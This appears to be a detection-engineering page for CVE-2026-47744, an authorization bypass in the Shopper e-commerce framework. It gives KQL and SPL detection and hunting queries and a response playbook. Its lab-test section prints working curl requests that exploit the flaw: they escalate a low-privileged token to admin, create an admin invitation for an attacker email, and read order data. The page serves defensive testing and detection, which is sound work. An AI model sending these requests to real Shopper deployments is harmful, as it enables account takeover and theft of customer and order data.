CVE-2026-47744 Microsoft Sentinel · KQL

Detect Shopper Framework Authorization Bypass and RBAC Privilege Escalation in Team Settings in Microsoft Sentinel

CVE-2026-47744 is a critical authorization bypass and RBAC privilege escalation vulnerability in the Shopper e-commerce framework (composer package shopper/framework) affecting versions prior to 2.8.0. An authenticated low-privileged user can bypass role-based access controls in team settings to escalate privileges or perform unauthorized administrative actions. A public proof-of-concept exists, making active exploitation likely. CVSS score 9.9.

MITRE ATT&CK

Tactic
Privilege Escalation Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
union AzureDiagnostics, AppServiceHTTPLogs, W3CIISLog
| where TimeGenerated > ago(24h)
| where requestUri_s has_any ("/shopper/", "/api/teams", "/team-settings", "/roles", "/permissions")
| where httpMethod_s in ("POST", "PUT", "PATCH", "DELETE")
| where httpStatus_s in ("200", "201", "204") or statusCode_d in (200, 201, 204)
| extend UserAgent = coalesce(userAgent_s, csUserAgent_s)
| extend ClientIP = coalesce(clientIp_s, cIP_s)
| extend RequestPath = coalesce(requestUri_s, csUriStem_s)
| where RequestPath matches regex @"/(team[s]?[-_]?setting[s]?|role[s]?|permission[s]?|member[s]?)"
| summarize
    RequestCount = count(),
    DistinctPaths = dcount(RequestPath),
    Methods = make_set(httpMethod_s),
    StatusCodes = make_set(coalesce(httpStatus_s, tostring(statusCode_d)))
    by ClientIP, bin(TimeGenerated, 5m), UserAgent
| where RequestCount > 5 or DistinctPaths > 3
| extend Severity = "Critical"
| extend RuleId = "CVE-2026-47744"
| project TimeGenerated, ClientIP, UserAgent, RequestCount, DistinctPaths, Methods, StatusCodes, Severity, RuleId
critical severity medium confidence

Detects repeated successful HTTP requests to Shopper framework team settings, roles, and permissions endpoints that may indicate exploitation of the RBAC authorization bypass (CVE-2026-47744). Looks for high-frequency access to sensitive team management paths returning success status codes.

Data Sources

AzureDiagnosticsAppServiceHTTPLogsW3CIISLog

Required Tables

AzureDiagnosticsAppServiceHTTPLogsW3CIISLog

False Positives & Tuning

  • Legitimate administrators performing bulk team management operations
  • Automated provisioning scripts that configure team roles at deployment time
  • Security scanners or penetration testing tools performing authorized assessments
  • CI/CD pipelines that update team permissions as part of deployment workflows

Other platforms for CVE-2026-47744

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Shopper RBAC Bypass — Escalate to Admin via Team Settings API

    Expected signal: HTTP POST to /api/teams/1/members with 200/201 response code from a low-privileged account; database INSERT into team_user or role_user table with admin role association

  2. Test 2Shopper RBAC Bypass — Modify Existing Team Member Role to Admin

    Expected signal: HTTP PATCH to /api/teams/1/members/{id} returning 200 from a non-admin session token; corresponding UPDATE in the role_user or team_user database table

  3. Test 3Shopper RBAC Bypass — Create New Admin Account via Team Invitation

    Expected signal: HTTP POST to /api/teams/1/invitations with admin role returning 200/201 from low-privileged token; invitation record created in database with role=admin; email delivery event to attacker-controlled address

  4. Test 4Shopper RBAC Bypass — Enumerate Team Permissions and Extract Sensitive Data

    Expected signal: Multiple GET requests to admin-restricted endpoints (/api/teams, /api/settings, /api/orders) returning 200 from a recently-escalated non-admin account; unusual access pattern to sensitive data endpoints

Last updated: 2026-06-26 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the source IP(s) triggering the alert and correlate with known users/service accounts in the directory or Shopper user database — check if the account is a low-privileged user accessing admin-level team settings endpoints.
  2. Review application-level logs for the Shopper framework to determine which specific team settings or role assignments were modified, paying attention to any changes to admin roles or new user-to-role associations created.
  3. Confirm the Shopper framework version deployed by checking composer.lock or package manifest files — if version is < 2.8.0, treat as actively exploitable and escalate immediately.
  4. Check if the CVE-2026-47744 public PoC technique matches the observed HTTP request pattern (e.g., specific endpoint paths, parameter names, or HTTP methods used in the advisory GHSA-c3qp-2ggw-xjg7).

Containment

  1. If exploitation is confirmed, immediately block the source IP at the WAF or network perimeter and revoke any sessions associated with the implicated user account pending investigation.
  2. Apply emergency access controls to the Shopper team settings and role management API endpoints (e.g., require re-authentication with MFA or restrict to admin IP ranges) until the framework is patched to 2.8.0 or above.
  3. Disable or quarantine any newly created admin accounts or elevated role assignments that occurred since the suspicious activity was first observed.

Evidence Collection

  1. Export web server access logs for the affected Shopper application covering the 24-hour window prior to detection, preserving original timestamps and source IPs for forensic chain of custody.
  2. Capture a snapshot of the current team, roles, and permissions tables from the Shopper database (typically Laravel/MySQL) to identify unauthorized privilege changes for comparison against a known-good baseline.
  3. Collect application-level audit logs if enabled within Shopper or the underlying Laravel framework (storage/logs/laravel.log) for authentication events and model change records.

Escalation Criteria

  • !Escalate to incident response if a low-privileged user account now has admin-level roles, or if new accounts with elevated privileges were created during the suspicious activity window.
  • !Escalate if the affected Shopper instance handles payment or PII data and unauthorized access to order management, customer records, or financial settings is confirmed — potential regulatory notification obligations apply.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Shopper/Laravel application logs at storage/logs/laravel.log containing HTTP request details and any Eloquent model events for role/team changes
  • >Database audit trail in the team_user, roles, and role_user tables (or equivalent in the Shopper schema) showing INSERT/UPDATE records with suspicious timestamps
  • >Web server access logs (nginx/apache) with source IP, user agent, request path, and response codes for the /teams, /roles, /permissions endpoints
  • >PHP session files or JWT tokens used during the exploitation window, which may confirm the identity of the attacking account

Tuning Guidance

Start by baselining normal administrative access frequency to Shopper team settings endpoints — most legitimate admin sessions will involve fewer than 5 mutations per 5-minute window. Whitelist known CI/CD pipeline source IPs and service account user agents. If the Shopper instance uses a custom URL prefix (not /shopper/), update the regex patterns accordingly. Reduce false positive rate by adding a condition requiring the source IP to differ from known administrator workstations. For high-traffic deployments, consider raising the RequestCount threshold to 10 and DistinctPaths to 5, or correlate with a preceding low-privilege authentication event to increase fidelity.

Hunting Queries

Threat hunt query to identify any privilege manipulation activity against Shopper RBAC endpoints over the past 7 days, surfacing hourly spikes in successful mutations that may indicate earlier exploitation attempts not yet alerted.

Hunting — KQL
kql 
AppServiceHTTPLogs
| where TimeGenerated > ago(7d)
| where requestUri_s matches regex @"(?i)/(teams?|roles?|permissions?|members?)"
| where httpMethod_s in ("POST", "PUT", "PATCH", "DELETE")
| where httpStatus_s startswith "2"
| summarize
    TotalRequests = count(),
    UniquePaths = dcount(requestUri_s),
    UniqueIPs = dcount(clientIp_s)
    by bin(TimeGenerated, 1h)
| where TotalRequests > 20 or UniqueIPs > 5
| order by TotalRequests desc
Hunting — SPL
spl 
index=web OR index=access_logs earliest=-7d
| eval path=coalesce(uri_path, cs_uri_stem)
| eval method=coalesce(http_method, cs_method)
| eval status=coalesce(status, sc_status)
| where match(path, "(?i)/(teams?|roles?|permissions?|members?)")
| where method IN ("POST", "PUT", "PATCH", "DELETE")
| where match(status, "^2")
| timechart span=1h count AS mutations dc(src_ip) AS UniqueIPs
| where count > 20 OR UniqueIPs > 5

Atomic Red Team Tests

Test 1 Shopper RBAC Bypass — Escalate to Admin via Team Settings API
linux

Simulates a low-privileged Shopper user exploiting CVE-2026-47744 by sending a crafted POST request to the team member role assignment endpoint without proper authorization checks, attempting to assign the admin role to their own account.

Command

bash 
# Lab only — requires a vulnerable Shopper instance (< 2.8.0)
# Replace SHOPPER_URL, USER_TOKEN, TARGET_USER_ID with lab values
SHOPPER_URL="http://localhost:8080"
USER_TOKEN="<low_privilege_bearer_token>"
TARGET_USER_ID="<your_user_id>"
ADMIN_ROLE_ID="1"

curl -s -X POST "${SHOPPER_URL}/api/teams/1/members" \
  -H "Authorization: Bearer ${USER_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d "{\"user_id\": \"${TARGET_USER_ID}\", \"role\": \"admin\"}" \
  -w "\nHTTP Status: %{http_code}\n"

Cleanup

bash 
# Remove unauthorized role assignment
curl -s -X DELETE "${SHOPPER_URL}/api/teams/1/members/${TARGET_USER_ID}" \
  -H "Authorization: Bearer <admin_token>" \
  -H "Accept: application/json"

Expected Telemetry

HTTP POST to /api/teams/1/members with 200/201 response code from a low-privileged account; database INSERT into team_user or role_user table with admin role association

Expected Detection

Alert triggered by the SIEM rule detecting a successful POST to team membership endpoint from a non-admin account; web application firewall may log the anomalous role parameter

Test 2 Shopper RBAC Bypass — Modify Existing Team Member Role to Admin
linux

Simulates exploitation of CVE-2026-47744 by a low-privileged user sending a PATCH request to update another team member's role to administrator, bypassing the expected authorization gate on the role update endpoint.

Command

bash 
# Lab only — requires a vulnerable Shopper instance (< 2.8.0)
SHOPPER_URL="http://localhost:8080"
USER_TOKEN="<low_privilege_bearer_token>"
TARGET_MEMBER_ID="<existing_member_id>"

curl -s -X PATCH "${SHOPPER_URL}/api/teams/1/members/${TARGET_MEMBER_ID}" \
  -H "Authorization: Bearer ${USER_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"role": "admin", "permissions": ["*"]}' \
  -w "\nHTTP Status: %{http_code}\n"

Cleanup

bash 
# Revert the role change using admin credentials
curl -s -X PATCH "${SHOPPER_URL}/api/teams/1/members/${TARGET_MEMBER_ID}" \
  -H "Authorization: Bearer <admin_token>" \
  -H "Content-Type: application/json" \
  -d '{"role": "member"}'

Expected Telemetry

HTTP PATCH to /api/teams/1/members/{id} returning 200 from a non-admin session token; corresponding UPDATE in the role_user or team_user database table

Expected Detection

SIEM alert on successful PATCH to team member endpoint from low-privileged account; anomaly detection may flag the role field value of 'admin' in request body

Test 3 Shopper RBAC Bypass — Create New Admin Account via Team Invitation
linux

Simulates an attacker using CVE-2026-47744 to invite a new user to the team with admin-level permissions, effectively creating a persistent backdoor admin account through the vulnerable team invitation endpoint.

Command

bash 
# Lab only — requires a vulnerable Shopper instance (< 2.8.0)
SHOPPER_URL="http://localhost:8080"
USER_TOKEN="<low_privilege_bearer_token>"
ATTACKER_EMAIL="[email protected]"

curl -s -X POST "${SHOPPER_URL}/api/teams/1/invitations" \
  -H "Authorization: Bearer ${USER_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d "{\"email\": \"${ATTACKER_EMAIL}\", \"role\": \"admin\"}" \
  -w "\nHTTP Status: %{http_code}\n"

# Simulate accepting the invitation (requires email access or token interception in lab)
# Retrieve invitation token from database or email service in lab environment

Cleanup

bash 
# Cancel the invitation and remove any created account
curl -s -X DELETE "${SHOPPER_URL}/api/teams/1/invitations" \
  -H "Authorization: Bearer <admin_token>" \
  -H "Content-Type: application/json" \
  -d "{\"email\": \"${ATTACKER_EMAIL}\"}"

Expected Telemetry

HTTP POST to /api/teams/1/invitations with admin role returning 200/201 from low-privileged token; invitation record created in database with role=admin; email delivery event to attacker-controlled address

Expected Detection

SIEM alert on successful team invitation creation with elevated role from non-admin account; user account creation event if invitation is accepted; new admin account appearing in user management logs

Test 4 Shopper RBAC Bypass — Enumerate Team Permissions and Extract Sensitive Data
linux

Simulates post-exploitation reconnaissance where the attacker, having escalated privileges via CVE-2026-47744, enumerates team settings, member lists, and order data that should be restricted to administrators.

Command

bash 
# Lab only — use an account that has been escalated via the RBAC bypass
SHOPPER_URL="http://localhost:8080"
ESCALATED_TOKEN="<token_after_privilege_escalation>"

# Enumerate team members
curl -s "${SHOPPER_URL}/api/teams/1/members" \
  -H "Authorization: Bearer ${ESCALATED_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Access admin-only settings
curl -s "${SHOPPER_URL}/api/settings" \
  -H "Authorization: Bearer ${ESCALATED_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

# Access order data (sensitive)
curl -s "${SHOPPER_URL}/api/orders?per_page=10" \
  -H "Authorization: Bearer ${ESCALATED_TOKEN}" \
  -H "Accept: application/json" | python3 -m json.tool

Cleanup

bash 
# No cleanup needed for read-only reconnaissance; revoke escalated token
curl -s -X POST "${SHOPPER_URL}/api/auth/logout" \
  -H "Authorization: Bearer ${ESCALATED_TOKEN}"

Expected Telemetry

Multiple GET requests to admin-restricted endpoints (/api/teams, /api/settings, /api/orders) returning 200 from a recently-escalated non-admin account; unusual access pattern to sensitive data endpoints

Expected Detection

SIEM alert on access to admin endpoints from account not previously authorized; data exfiltration detection on high-volume reads of order or customer data

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0003Persistence

Related Techniques

T1548Abuse Elevation Control MechanismT1078Valid AccountsT1098Account Manipulation

Same Tactic: Privilege Escalation

Popular Detections